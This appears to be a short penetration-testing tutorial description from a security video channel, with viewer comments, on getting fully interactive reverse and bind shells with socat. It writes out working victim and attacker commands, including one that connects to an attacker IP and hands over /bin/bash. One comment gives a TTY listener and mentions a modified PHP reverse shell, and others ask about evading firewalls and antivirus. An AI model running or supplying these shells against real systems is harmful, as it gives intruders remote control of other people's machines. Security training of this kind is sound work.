How To Get A FULLY Interactive Reverse Shell in Linux OR Windows

Netcat is an amazing tool and is so useful and versatile for penetration tests and even other IT administration tasks. However, it is very limited, especially with Penetration Testing.
A Reverse Shell with Socat will give you a much higher degree of interactivity, even allowing you functionality to edit files in the command line, just like a SSH session.

Commands:
Bind Shell
Victim Linux: socat -d -d TCP4-LISTEN:4443 EXEC:/bin/bash
Attacker: socat - TCP4:192.168.1.1:4443

Reverse Shell
Victim Linux: socat TCP4:192.168.168.1:4443 EXEC:/bin/bash
Attacker: socat -d -d TCP4-LISTEN:4443 STDOUT

Encrypted Bind / Reverse Shells

Links:
__________________________________________

About JSON SEC
___________________________________________
JSON SEC is a channel dedicated to helping you advance your cyber security career, whether you're on the Red Team or Blue Team side. Focusing on Training and Course reviews, exam prep guides, career guidance and advice as well as hacking tutorials.

Please consider subscribing if you enjoyed this video.

[NeerajBhojwani-rd]

You can usually upgrade the shell using the python command to spawn the upgraded shell but that doesn't work when python isn't installed. This is the best way in those scenarios. Thanks for the simple and to the point video.

[MarsTheProgrammer]

The biggest selling point is that you can encrypt the connection with socat.

[Urbancorax]

thank you for that. Now, show everybody how to socat using ssl, transfer files and something else interesting:)

[mercury]

have you tried spawning a tty while using nc, you can also use the stty trick to make sure `Ctrl + C` doesn't kill the process

[MartinGaertner]

Very great video, thank you very much!

[vikhyatverma]

It'd be great if i could do that on windows...

[BellatrixLugosi]

The problem is they dont have socat installed, and any compiler

[chileaus]

Is there away to reverse shell over the internet?

[Mike-cptj]

but don't you need the target to have socat to be installed? on Windows target isnt this super unlikely

[unam]

The Windows 11 isolation core and memory integrity protect against this type of attacks? And if i got filtrated ports, router with firewall, nat, antivirus and PC firewall?

[papahorse]

ty so much, can you start doing some try to hack me walkthrough videos? your explaining realy good and it would be nice to learn from you more

[Carinala]

I run socat on a windows machine in a cmd with admin rights. but unfortunately i only have user rights in the remote shell after a successful connection. Does anyone have a solution for this ?

[iakashx]

Noice. 👍 Just wanna hightlight some things because I ran into them while doing this.
socat file:`tty`, raw, echo=0 tcp-listen:4444

This listener didn't work properly when I tried to get reverse shell from target (say php or any kinda exploit / nc rev shell etc.)
Initially I thought this has to do something with bash/zsh. But it wasn't.

Finally, I got rev shell on nc first. Got socat is present on target. Then I created another shell with socat. ✌✌

Edit: Modified php-rev-shell to directly give me shell on socat. Better now. :)

[bendomino]

this is good but not every victim machine will have socat preinstall